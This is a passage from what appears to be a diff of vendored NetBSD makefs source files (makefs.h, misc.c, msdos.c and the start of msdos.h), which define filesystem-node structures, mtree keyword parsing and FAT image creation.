||||
#else
|
||||
#define HAVE_STRUCT_STAT_ST_FLAGS 1
|
||||
#define HAVE_STRUCT_STAT_ST_GEN 1
|
||||
#define HAVE_STRUCT_STAT_ST_MTIMENSEC 1
|
||||
#define HAVE_STRUCT_STATVFS_F_IOSIZE 1
|
||||
#define HAVE_STRUCT_STAT_BIRTHTIME 1
|
||||
#define HAVE_FSTATVFS 1
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <err.h>
|
||||
|
||||
/*
|
||||
* fsnode -
|
||||
* a component of the tree; contains a filename, a pointer to
|
||||
* fsinode, optional symlink name, and tree pointers
|
||||
*
|
||||
* fsinode -
|
||||
* equivalent to an inode, containing target file system inode number,
|
||||
* refcount (nlink), and stat buffer
|
||||
*
|
||||
* A tree of fsnodes looks like this:
|
||||
*
|
||||
* name "." "bin" "netbsd"
|
||||
* type S_IFDIR S_IFDIR S_IFREG
|
||||
* next > > NULL
|
||||
* parent NULL NULL NULL
|
||||
* child NULL v
|
||||
*
|
||||
* name "." "ls"
|
||||
* type S_IFDIR S_IFREG
|
||||
* next > NULL
|
||||
* parent ^ ^ (to "bin")
|
||||
* child NULL NULL
|
||||
*
|
||||
* Notes:
|
||||
* - first always points to first entry, at current level, which
|
||||
* must be "." when the tree has been built; during build it may
|
||||
* not be if "." hasn't yet been found by readdir(2).
|
||||
*/
|
||||
|
||||
enum fi_flags {
|
||||
FI_SIZED = 1<<0, /* inode sized */
|
||||
FI_ALLOCATED = 1<<1, /* fsinode->ino allocated */
|
||||
FI_WRITTEN = 1<<2, /* inode written */
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint32_t ino; /* inode number used on target fs */
|
||||
uint32_t nlink; /* number of links to this entry */
|
||||
enum fi_flags flags; /* flags used by fs specific code */
|
||||
struct stat st; /* stat entry */
|
||||
void *fsuse; /* for storing FS dependent info */
|
||||
} fsinode;
|
||||
|
||||
typedef struct _fsnode {
|
||||
struct _fsnode *parent; /* parent (NULL if root) */
|
||||
struct _fsnode *child; /* child (if type == S_IFDIR) */
|
||||
struct _fsnode *next; /* next */
|
||||
struct _fsnode *first; /* first node of current level (".") */
|
||||
uint32_t type; /* type of entry */
|
||||
fsinode *inode; /* actual inode data */
|
||||
char *symlink; /* symlink target */
|
||||
const char *root; /* root path */
|
||||
char *path; /* directory name */
|
||||
char *name; /* file name */
|
||||
int flags; /* misc flags */
|
||||
} fsnode;
|
||||
|
||||
#define FSNODE_F_HASSPEC 0x01 /* fsnode has a spec entry */
|
||||
|
||||
/*
|
||||
* option_t - contains option name, description, pointer to location to store
|
||||
* result, and range checks for the result. Used to simplify fs specific
|
||||
* option setting
|
||||
*/
|
||||
typedef enum {
|
||||
OPT_STRARRAY,
|
||||
OPT_STRPTR,
|
||||
OPT_STRBUF,
|
||||
OPT_BOOL,
|
||||
OPT_INT8,
|
||||
OPT_INT16,
|
||||
OPT_INT32,
|
||||
OPT_INT64
|
||||
} opttype_t;
|
||||
|
||||
typedef struct {
|
||||
char letter; /* option letter NUL for none */
|
||||
const char *name; /* option name */
|
||||
void *value; /* where to stuff the value */
|
||||
opttype_t type; /* type of entry */
|
||||
long long minimum; /* minimum for value */
|
||||
long long maximum; /* maximum for value */
|
||||
const char *desc; /* option description */
|
||||
} option_t;
|
||||
|
||||
/*
|
||||
* fsinfo_t - contains various settings and parameters pertaining to
|
||||
* the image, including current settings, global options, and fs
|
||||
* specific options
|
||||
*/
|
||||
typedef struct makefs_fsinfo {
|
||||
/* current settings */
|
||||
off_t size; /* total size */
|
||||
off_t inodes; /* number of inodes */
|
||||
uint32_t curinode; /* current inode */
|
||||
|
||||
/* image settings */
|
||||
int fd; /* file descriptor of image */
|
||||
void *superblock; /* superblock */
|
||||
int onlyspec; /* only add entries in specfile */
|
||||
|
||||
|
||||
/* global options */
|
||||
off_t minsize; /* minimum size image should be */
|
||||
off_t maxsize; /* maximum size image can be */
|
||||
off_t freefiles; /* free file entries to leave */
|
||||
off_t freeblocks; /* free blocks to leave */
|
||||
off_t offset; /* offset from start of file */
|
||||
int freefilepc; /* free file % */
|
||||
int freeblockpc; /* free block % */
|
||||
int needswap; /* non-zero if byte swapping needed */
|
||||
int sectorsize; /* sector size */
|
||||
int sparse; /* sparse image, don't fill it with zeros */
|
||||
int replace; /* replace files when merging */
|
||||
|
||||
void *fs_specific; /* File system specific additions. */
|
||||
option_t *fs_options; /* File system specific options */
|
||||
} fsinfo_t;
|
||||
|
||||
|
||||
|
||||
|
||||
void apply_specfile(const char *, const char *, fsnode *, int);
|
||||
void dump_fsnodes(fsnode *);
|
||||
const char * inode_type(mode_t);
|
||||
int set_option(const option_t *, const char *, char *, size_t);
|
||||
int set_option_var(const option_t *, const char *, const char *,
|
||||
char *, size_t);
|
||||
fsnode * walk_dir(const char *, const char *, fsnode *, fsnode *, int);
|
||||
void free_fsnodes(fsnode *);
|
||||
option_t * copy_opts(const option_t *);
|
||||
|
||||
#define DECLARE_FUN(fs) \
|
||||
void fs ## _prep_opts(fsinfo_t *); \
|
||||
int fs ## _parse_opts(const char *, fsinfo_t *); \
|
||||
void fs ## _cleanup_opts(fsinfo_t *); \
|
||||
void fs ## _makefs(const char *, const char *, fsnode *, fsinfo_t *)
|
||||
|
||||
DECLARE_FUN(ffs);
|
||||
DECLARE_FUN(cd9660);
|
||||
DECLARE_FUN(chfs);
|
||||
DECLARE_FUN(v7fs);
|
||||
DECLARE_FUN(msdos);
|
||||
DECLARE_FUN(udf);
|
||||
|
||||
extern u_int debug;
|
||||
extern struct timespec start_time;
|
||||
|
||||
/*
|
||||
* If -x is specified, we want to exclude nodes which do not appear
|
||||
* in the spec file.
|
||||
*/
|
||||
#define FSNODE_EXCLUDE_P(opts, fsnode) \
|
||||
((opts)->onlyspec != 0 && ((fsnode)->flags & FSNODE_F_HASSPEC) == 0)
|
||||
|
||||
#define DEBUG_TIME 0x00000001
|
||||
/* debug bits 1..3 unused at this time */
|
||||
#define DEBUG_WALK_DIR 0x00000010
|
||||
#define DEBUG_WALK_DIR_NODE 0x00000020
|
||||
#define DEBUG_WALK_DIR_LINKCHECK 0x00000040
|
||||
#define DEBUG_DUMP_FSNODES 0x00000080
|
||||
#define DEBUG_DUMP_FSNODES_VERBOSE 0x00000100
|
||||
#define DEBUG_FS_PARSE_OPTS 0x00000200
|
||||
#define DEBUG_FS_MAKEFS 0x00000400
|
||||
#define DEBUG_FS_VALIDATE 0x00000800
|
||||
#define DEBUG_FS_CREATE_IMAGE 0x00001000
|
||||
#define DEBUG_FS_SIZE_DIR 0x00002000
|
||||
#define DEBUG_FS_SIZE_DIR_NODE 0x00004000
|
||||
#define DEBUG_FS_SIZE_DIR_ADD_DIRENT 0x00008000
|
||||
#define DEBUG_FS_POPULATE 0x00010000
|
||||
#define DEBUG_FS_POPULATE_DIRBUF 0x00020000
|
||||
#define DEBUG_FS_POPULATE_NODE 0x00040000
|
||||
#define DEBUG_FS_WRITE_FILE 0x00080000
|
||||
#define DEBUG_FS_WRITE_FILE_BLOCK 0x00100000
|
||||
#define DEBUG_FS_MAKE_DIRBUF 0x00200000
|
||||
#define DEBUG_FS_WRITE_INODE 0x00400000
|
||||
#define DEBUG_BUF_BREAD 0x00800000
|
||||
#define DEBUG_BUF_BWRITE 0x01000000
|
||||
#define DEBUG_BUF_GETBLK 0x02000000
|
||||
#define DEBUG_APPLY_SPECFILE 0x04000000
|
||||
#define DEBUG_APPLY_SPECENTRY 0x08000000
|
||||
#define DEBUG_APPLY_SPECONLY 0x10000000
|
||||
|
||||
|
||||
#define TIMER_START(x) \
|
||||
if (debug & DEBUG_TIME) \
|
||||
gettimeofday(&(x), NULL)
|
||||
|
||||
#define TIMER_RESULTS(x,d) \
|
||||
if (debug & DEBUG_TIME) { \
|
||||
struct timeval end, td; \
|
||||
gettimeofday(&end, NULL); \
|
||||
timersub(&end, &(x), &td); \
|
||||
printf("%s took %lld.%06ld seconds\n", \
|
||||
(d), (long long)td.tv_sec, \
|
||||
(long)td.tv_usec); \
|
||||
}
|
||||
|
||||
|
||||
#ifndef DEFAULT_FSTYPE
|
||||
#define DEFAULT_FSTYPE "udf"
|
||||
#endif
|
||||
|
||||
|
||||
/*
|
||||
* ffs specific settings
|
||||
* ---------------------
|
||||
*/
|
||||
|
||||
#define FFS_EI /* for opposite endian support in ffs headers */
|
||||
|
||||
|
||||
#endif /* _MAKEFS_H */
|
||||
326
thirdparty/makefs/misc.c
vendored
Normal file
326
thirdparty/makefs/misc.c
vendored
Normal file
@@ -0,0 +1,326 @@
|
||||
/* $NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)misc.c 8.1 (Berkeley) 6/6/93
|
||||
*/
|
||||
|
||||
#if HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
// #include <nbcompat.h>
|
||||
#if HAVE_SYS_CDEFS_H
|
||||
#include <sys/cdefs.h>
|
||||
#endif
|
||||
#if defined(__RCSID) && !defined(lint)
|
||||
__RCSID("$NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $");
|
||||
#endif /* not lint */
|
||||
|
||||
#if HAVE_SYS_TYPES_H
|
||||
#include <sys/types.h>
|
||||
#endif
|
||||
#if HAVE_SYS_STAT_H
|
||||
#include <sys/stat.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_STDARG_H
|
||||
#include <stdarg.h>
|
||||
#endif
|
||||
#if HAVE_STDIO_H
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#if HAVE_STDLIB_H
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#if HAVE_STRING_H
|
||||
#include <string.h>
|
||||
#endif
|
||||
|
||||
#include "extern.h"
|
||||
|
||||
typedef struct _key {
|
||||
const char *name; /* key name */
|
||||
u_int val; /* value */
|
||||
|
||||
#define NEEDVALUE 0x01
|
||||
u_int flags;
|
||||
} KEY;
|
||||
#if 1
|
||||
/* NB: the following tables must be sorted lexically. */
|
||||
static KEY keylist[] = {
|
||||
{"cksum", F_CKSUM, NEEDVALUE},
|
||||
{"device", F_DEV, NEEDVALUE},
|
||||
{"flags", F_FLAGS, NEEDVALUE},
|
||||
{"gid", F_GID, NEEDVALUE},
|
||||
{"gname", F_GNAME, NEEDVALUE},
|
||||
{"ignore", F_IGN, 0},
|
||||
{"link", F_SLINK, NEEDVALUE},
|
||||
{"md5", F_MD5, NEEDVALUE},
|
||||
{"md5digest", F_MD5, NEEDVALUE},
|
||||
{"mode", F_MODE, NEEDVALUE},
|
||||
{"nlink", F_NLINK, NEEDVALUE},
|
||||
{"optional", F_OPT, 0},
|
||||
{"rmd160", F_RMD160, NEEDVALUE},
|
||||
{"rmd160digest",F_RMD160, NEEDVALUE},
|
||||
{"sha1", F_SHA1, NEEDVALUE},
|
||||
{"sha1digest", F_SHA1, NEEDVALUE},
|
||||
{"sha256", F_SHA256, NEEDVALUE},
|
||||
{"sha256digest",F_SHA256, NEEDVALUE},
|
||||
{"sha384", F_SHA384, NEEDVALUE},
|
||||
{"sha384digest",F_SHA384, NEEDVALUE},
|
||||
{"sha512", F_SHA512, NEEDVALUE},
|
||||
{"sha512digest",F_SHA512, NEEDVALUE},
|
||||
{"size", F_SIZE, NEEDVALUE},
|
||||
{"tags", F_TAGS, NEEDVALUE},
|
||||
{"time", F_TIME, NEEDVALUE},
|
||||
{"type", F_TYPE, NEEDVALUE},
|
||||
{"uid", F_UID, NEEDVALUE},
|
||||
{"uname", F_UNAME, NEEDVALUE}
|
||||
};
|
||||
#endif
|
||||
static KEY typelist[] = {
|
||||
{"block", F_BLOCK, 0},
|
||||
{"char", F_CHAR, 0},
|
||||
{"dir", F_DIR, 0},
|
||||
#ifdef S_IFDOOR
|
||||
{"door", F_DOOR, 0},
|
||||
#endif
|
||||
{"fifo", F_FIFO, 0},
|
||||
{"file", F_FILE, 0},
|
||||
{"link", F_LINK, 0},
|
||||
{"socket", F_SOCK, 0},
|
||||
};
|
||||
|
||||
slist_t excludetags, includetags;
|
||||
int keys = KEYDEFAULT;
|
||||
|
||||
|
||||
int keycompare(const void *, const void *);
|
||||
|
||||
u_int
|
||||
parsekey(const char *name, int *needvaluep)
|
||||
{
|
||||
static int allbits;
|
||||
KEY *k, tmp;
|
||||
|
||||
if (allbits == 0) {
|
||||
int i;
|
||||
|
||||
for (i = 0; i < sizeof(keylist) / sizeof(KEY); i++)
|
||||
allbits |= keylist[i].val;
|
||||
}
|
||||
tmp.name = name;
|
||||
if (strcmp(name, "all") == 0)
|
||||
return (allbits);
|
||||
k = (KEY *)bsearch(&tmp, keylist, sizeof(keylist) / sizeof(KEY),
|
||||
sizeof(KEY), keycompare);
|
||||
if (k == NULL)
|
||||
mtree_err("unknown keyword `%s'", name);
|
||||
|
||||
if (needvaluep)
|
||||
*needvaluep = k->flags & NEEDVALUE ? 1 : 0;
|
||||
|
||||
return (k->val);
|
||||
}
|
||||
|
||||
u_int
|
||||
parsetype(const char *name)
|
||||
{
|
||||
KEY *k, tmp;
|
||||
|
||||
tmp.name = name;
|
||||
k = (KEY *)bsearch(&tmp, typelist, sizeof(typelist) / sizeof(KEY),
|
||||
sizeof(KEY), keycompare);
|
||||
if (k == NULL)
|
||||
mtree_err("unknown file type `%s'", name);
|
||||
|
||||
return (k->val);
|
||||
}
|
||||
|
||||
int
|
||||
keycompare(const void *a, const void *b)
|
||||
{
|
||||
|
||||
return (strcmp(((const KEY *)a)->name, ((const KEY *)b)->name));
|
||||
}
|
||||
|
||||
void
|
||||
mtree_err(const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
vwarnx(fmt, ap);
|
||||
va_end(ap);
|
||||
if (mtree_lineno)
|
||||
warnx("failed at line %lu of the specification",
|
||||
(u_long) mtree_lineno);
|
||||
exit(1);
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
void
|
||||
addtag(slist_t *list, char *elem)
|
||||
{
|
||||
|
||||
#define TAG_CHUNK 20
|
||||
|
||||
if ((list->count % TAG_CHUNK) == 0) {
|
||||
char **new;
|
||||
|
||||
new = (char **)realloc(list->list, (list->count + TAG_CHUNK)
|
||||
* sizeof(char *));
|
||||
if (new == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
list->list = new;
|
||||
}
|
||||
list->list[list->count] = elem;
|
||||
list->count++;
|
||||
}
|
||||
|
||||
void
|
||||
parsetags(slist_t *list, char *args)
|
||||
{
|
||||
char *p, *e;
|
||||
int len;
|
||||
|
||||
if (args == NULL) {
|
||||
addtag(list, NULL);
|
||||
return;
|
||||
}
|
||||
while ((p = strsep(&args, ",")) != NULL) {
|
||||
if (*p == '\0')
|
||||
continue;
|
||||
len = strlen(p) + 3; /* "," + p + ",\0" */
|
||||
if ((e = malloc(len)) == NULL)
|
||||
mtree_err("memory allocation error");
|
||||
snprintf(e, len, ",%s,", p);
|
||||
addtag(list, e);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* matchtags
|
||||
* returns 0 if there's a match from the exclude list in the node's tags,
|
||||
* or there's an include list and no match.
|
||||
* return 1 otherwise.
|
||||
*/
|
||||
int
|
||||
matchtags(NODE *node)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (node->tags) {
|
||||
for (i = 0; i < excludetags.count; i++)
|
||||
if (strstr(node->tags, excludetags.list[i]))
|
||||
break;
|
||||
if (i < excludetags.count)
|
||||
return (0);
|
||||
|
||||
for (i = 0; i < includetags.count; i++)
|
||||
if (strstr(node->tags, includetags.list[i]))
|
||||
break;
|
||||
if (i > 0 && i == includetags.count)
|
||||
return (0);
|
||||
} else if (includetags.count > 0) {
|
||||
return (0);
|
||||
}
|
||||
return (1);
|
||||
}
|
||||
|
||||
u_int
|
||||
nodetoino(u_int type)
|
||||
{
|
||||
|
||||
switch (type) {
|
||||
case F_BLOCK:
|
||||
return S_IFBLK;
|
||||
case F_CHAR:
|
||||
return S_IFCHR;
|
||||
case F_DIR:
|
||||
return S_IFDIR;
|
||||
case F_FIFO:
|
||||
return S_IFIFO;
|
||||
case F_FILE:
|
||||
return S_IFREG;
|
||||
case F_LINK:
|
||||
return S_IFLNK;
|
||||
#ifdef S_IFSOCK
|
||||
case F_SOCK:
|
||||
return S_IFSOCK;
|
||||
#endif
|
||||
default:
|
||||
printf("unknown type %d", type);
|
||||
abort();
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
const char *
|
||||
nodetype(u_int type)
|
||||
{
|
||||
|
||||
return (inotype(nodetoino(type)));
|
||||
}
|
||||
|
||||
|
||||
const char *
|
||||
inotype(u_int type)
|
||||
{
|
||||
|
||||
switch (type & S_IFMT) {
|
||||
case S_IFBLK:
|
||||
return ("block");
|
||||
case S_IFCHR:
|
||||
return ("char");
|
||||
case S_IFDIR:
|
||||
return ("dir");
|
||||
case S_IFIFO:
|
||||
return ("fifo");
|
||||
case S_IFREG:
|
||||
return ("file");
|
||||
case S_IFLNK:
|
||||
return ("link");
|
||||
#ifdef S_IFSOCK
|
||||
case S_IFSOCK:
|
||||
return ("socket");
|
||||
#endif
|
||||
#ifdef S_IFDOOR
|
||||
case S_IFDOOR:
|
||||
return ("door");
|
||||
#endif
|
||||
default:
|
||||
return ("unknown");
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
254
thirdparty/makefs/msdos.c
vendored
Normal file
254
thirdparty/makefs/msdos.c
vendored
Normal file
@@ -0,0 +1,254 @@
|
||||
/* $NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2013 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Christos Zoulas.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#if defined(__RCSID) && !defined(__lint)
|
||||
__RCSID("$NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $");
|
||||
#endif /* !__lint */
|
||||
|
||||
#include <sys/param.h>
|
||||
|
||||
#if !HAVE_NBTOOL_CONFIG_H
|
||||
#include <sys/mount.h>
|
||||
#endif
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <util.h>
|
||||
|
||||
#include <ffs/buf.h>
|
||||
#include <fs/msdosfs/denode.h>
|
||||
#include "makefs.h"
|
||||
#include "msdos.h"
|
||||
#include "mkfs_msdos.h"
|
||||
|
||||
static int msdos_populate_dir(const char *, struct denode *, fsnode *,
|
||||
fsnode *, fsinfo_t *);
|
||||
|
||||
void
|
||||
msdos_prep_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
struct msdos_options *msdos_opt = ecalloc(1, sizeof(*msdos_opt));
|
||||
const option_t msdos_options[] = {
|
||||
#define AOPT(_opt, _type, _name, _min, _desc) { \
|
||||
.letter = _opt, \
|
||||
.name = # _name, \
|
||||
.type = _min == -1 ? OPT_STRPTR : \
|
||||
(_min == -2 ? OPT_BOOL : \
|
||||
(sizeof(_type) == 1 ? OPT_INT8 : \
|
||||
(sizeof(_type) == 2 ? OPT_INT16 : \
|
||||
(sizeof(_type) == 4 ? OPT_INT32 : OPT_INT64)))), \
|
||||
.value = &msdos_opt->_name, \
|
||||
.minimum = _min, \
|
||||
.maximum = sizeof(_type) == 1 ? 0xff : \
|
||||
(sizeof(_type) == 2 ? 0xffff : \
|
||||
(sizeof(_type) == 4 ? 0xffffffff : 0xffffffffffffffffLL)), \
|
||||
.desc = _desc, \
|
||||
},
|
||||
ALLOPTS
|
||||
#undef AOPT
|
||||
{ .name = NULL }
|
||||
};
|
||||
|
||||
fsopts->fs_specific = msdos_opt;
|
||||
fsopts->fs_options = copy_opts(msdos_options);
|
||||
}
|
||||
|
||||
void
|
||||
msdos_cleanup_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
free(fsopts->fs_specific);
|
||||
free(fsopts->fs_options);
|
||||
}
|
||||
|
||||
int
|
||||
msdos_parse_opts(const char *option, fsinfo_t *fsopts)
|
||||
{
|
||||
struct msdos_options *msdos_opt = fsopts->fs_specific;
|
||||
option_t *msdos_options = fsopts->fs_options;
|
||||
|
||||
int rv;
|
||||
|
||||
assert(option != NULL);
|
||||
assert(fsopts != NULL);
|
||||
assert(msdos_opt != NULL);
|
||||
|
||||
if (debug & DEBUG_FS_PARSE_OPTS)
|
||||
printf("msdos_parse_opts: got `%s'\n", option);
|
||||
|
||||
rv = set_option(msdos_options, option, NULL, 0);
|
||||
if (rv == -1)
|
||||
return rv;
|
||||
|
||||
if (strcmp(msdos_options[rv].name, "volume_id") == 0)
|
||||
msdos_opt->volume_id_set = 1;
|
||||
else if (strcmp(msdos_options[rv].name, "media_descriptor") == 0)
|
||||
msdos_opt->media_descriptor_set = 1;
|
||||
else if (strcmp(msdos_options[rv].name, "hidden_sectors") == 0)
|
||||
msdos_opt->hidden_sectors_set = 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
void
|
||||
msdos_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
|
||||
{
|
||||
struct msdos_options *msdos_opt = fsopts->fs_specific;
|
||||
struct vnode vp, rootvp;
|
||||
struct timeval start;
|
||||
struct msdosfsmount *pmp;
|
||||
|
||||
assert(image != NULL);
|
||||
assert(dir != NULL);
|
||||
assert(root != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
/*
|
||||
* XXX: pick up other options from the msdos specific ones?
|
||||
* Is minsize right here?
|
||||
*/
|
||||
msdos_opt->create_size = MAX(msdos_opt->create_size, fsopts->minsize);
|
||||
msdos_opt->offset = fsopts->offset;
|
||||
if (msdos_opt->bytes_per_sector == 0) {
|
||||
if (fsopts->sectorsize == -1)
|
||||
fsopts->sectorsize = 512;
|
||||
msdos_opt->bytes_per_sector = fsopts->sectorsize;
|
||||
} else if (fsopts->sectorsize == -1) {
|
||||
fsopts->sectorsize = msdos_opt->bytes_per_sector;
|
||||
} else if (fsopts->sectorsize != msdos_opt->bytes_per_sector) {
|
||||
err(1, "inconsistent sectorsize -S %u"
|
||||
"!= -o bytes_per_sector %u",
|
||||
fsopts->sectorsize, msdos_opt->bytes_per_sector);
|
||||
}
|
||||
|
||||
/* create image */
|
||||
printf("Creating `%s'\n", image);
|
||||
TIMER_START(start);
|
||||
if (mkfs_msdos(image, NULL, msdos_opt) == -1)
|
||||
return;
|
||||
TIMER_RESULTS(start, "mkfs_msdos");
|
||||
|
||||
fsopts->fd = open(image, O_RDWR);
|
||||
vp.fs = fsopts;
|
||||
|
||||
if ((pmp = msdosfs_mount(&vp, 0)) == NULL)
|
||||
err(1, "msdosfs_mount");
|
||||
|
||||
if (msdosfs_root(pmp, &rootvp) != 0)
|
||||
err(1, "msdosfs_root");
|
||||
|
||||
if (debug & DEBUG_FS_MAKEFS)
|
||||
printf("msdos_makefs: image %s directory %s root %p\n",
|
||||
image, dir, root);
|
||||
|
||||
/* populate image */
|
||||
printf("Populating `%s'\n", image);
|
||||
TIMER_START(start);
|
||||
if (msdos_populate_dir(dir, VTODE(&rootvp), root, root, fsopts) == -1)
|
||||
errx(1, "Image file `%s' not created.", image);
|
||||
TIMER_RESULTS(start, "msdos_populate_dir");
|
||||
|
||||
if (debug & DEBUG_FS_MAKEFS)
|
||||
putchar('\n');
|
||||
|
||||
/* ensure no outstanding buffers remain */
|
||||
if (debug & DEBUG_FS_MAKEFS)
|
||||
bcleanup();
|
||||
|
||||
printf("Image `%s' complete\n", image);
|
||||
}
|
||||
|
||||
static int
|
||||
msdos_populate_dir(const char *path, struct denode *dir, fsnode *root,
|
||||
fsnode *parent, fsinfo_t *fsopts)
|
||||
{
|
||||
fsnode *cur;
|
||||
char pbuf[MAXPATHLEN];
|
||||
|
||||
assert(dir != NULL);
|
||||
assert(root != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
for (cur = root->next; cur != NULL; cur = cur->next) {
|
||||
if ((size_t)snprintf(pbuf, sizeof(pbuf), "%s/%s", path,
|
||||
cur->name) >= sizeof(pbuf)) {
|
||||
warnx("path %s too long", pbuf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((cur->inode->flags & FI_ALLOCATED) == 0) {
|
||||
cur->inode->flags |= FI_ALLOCATED;
|
||||
if (cur != root) {
|
||||
fsopts->curinode++;
|
||||
cur->inode->ino = fsopts->curinode;
|
||||
cur->parent = parent;
|
||||
}
|
||||
}
|
||||
|
||||
if (cur->inode->flags & FI_WRITTEN) {
|
||||
continue; // hard link
|
||||
}
|
||||
cur->inode->flags |= FI_WRITTEN;
|
||||
|
||||
if (cur->child) {
|
||||
struct denode *de;
|
||||
if ((de = msdosfs_mkdire(pbuf, dir, cur)) == NULL) {
|
||||
warn("msdosfs_mkdire %s", pbuf);
|
||||
return -1;
|
||||
}
|
||||
if (msdos_populate_dir(pbuf, de, cur->child, cur,
|
||||
fsopts) == -1) {
|
||||
warn("msdos_populate_dir %s", pbuf);
|
||||
return -1;
|
||||
}
|
||||
continue;
|
||||
} else if (!S_ISREG(cur->type)) {
|
||||
warnx("skipping non-regular file %s/%s", cur->path,
|
||||
cur->name);
|
||||
continue;
|
||||
}
|
||||
if (msdosfs_mkfile(pbuf, dir, cur) == NULL) {
|
||||
warn("msdosfs_mkfile %s", pbuf);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
39
thirdparty/makefs/msdos.h
vendored
Normal file
39
thirdparty/makefs/msdos.h
vendored
Normal file
@@ -0,0 +1,39 @@
|
||||
/* $NetBSD: msdos.h,v 1.3 2015/10/16 16:40:02 christos Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2013 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
